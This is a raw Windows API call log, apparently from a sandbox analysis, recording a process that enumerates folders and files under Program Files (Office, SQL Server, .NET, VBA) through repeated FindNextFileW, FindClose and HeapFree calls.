FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefcf5b24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1 [0072.924] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.924] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1 [0072.924] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.924] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 0 [0072.924] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0072.924] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.924] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x28577965, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0072.926] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.926] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0072.927] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.928] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0072.928] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.928] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x285ea0a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43cea0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0072.929] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Portal", cAlternateFileName="")) returned 1 [0072.929] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x250c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1 [0072.929] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0072.930] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.930] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 1 [0072.940] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0072.940] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0072.940] FindClose (in: hFindFile=0x4260800 | out: hFindFile=0x4260800) returned 1 [0072.940] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.940] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0 [0072.940] FindClose (in: hFindFile=0x4260300 | out: hFindFile=0x4260300) returned 1 [0072.940] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.940] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0072.941] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0072.941] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0072.941] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0072.941] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.941] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0 [0072.941] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0072.941] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.941] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0072.941] FindClose (in: hFindFile=0x4260240 | out: hFindFile=0x4260240) returned 1 [0072.941] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0072.942] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 1 [0072.945] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.945] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0 [0072.945] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0072.945] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0072.945] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 0 [0072.945] FindClose (in: hFindFile=0x4260080 | out: hFindFile=0x4260080) returned 1 [0072.945] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0072.945] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX64", cAlternateFileName="PROGRA~1")) returned 1 [0073.908] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443bff8 | out: hHeap=0x6a0000) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2a7e39eb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17beb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0073.909] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328e69c | out: lpFindFileData=0x328e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0073.909] FindClose (in: hFindFile=0x4260400 | out: hFindFile=0x4260400) returned 1 [0073.909] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443bff8 | out: hHeap=0x6a0000) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa50bd2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1 [0073.910] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0073.910] FindClose (in: hFindFile=0x4260240 | out: hFindFile=0x4260240) returned 1 [0073.910] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.911] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0073.912] FindClose (in: hFindFile=0x4260180 | out: hFindFile=0x4260180) returned 1 [0073.912] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0073.912] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~3")) returned 1 [0073.912] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0073.912] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~2")) returned 1 [0073.913] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0073.913] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0 [0073.913] FindClose (in: hFindFile=0x4260240 | out: hFindFile=0x4260240) returned 1 [0073.913] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.913] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0073.913] FindClose (in: hFindFile=0x4260180 | out: hFindFile=0x4260180) returned 1 [0073.913] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0073.913] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0073.913] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0073.914] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0073.914] FindClose (in: hFindFile=0x4260180 | out: hFindFile=0x4260180) returned 1 [0073.914] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.914] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0 [0073.914] FindClose (in: hFindFile=0x4260400 | out: hFindFile=0x4260400) returned 1 [0073.914] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0073.914] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 0 [0073.914] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0073.914] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0073.915] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX86", cAlternateFileName="PROGRA~2")) returned 1 [0073.935] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0073.935] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa937f07, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128848, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0073.936] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443bff8 | out: hHeap=0x6a0000) returned 1 [0073.936] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328e69c | out: lpFindFileData=0x328e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0073.936] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0073.936] HeapFree (in: hHeap=0x6a0000, 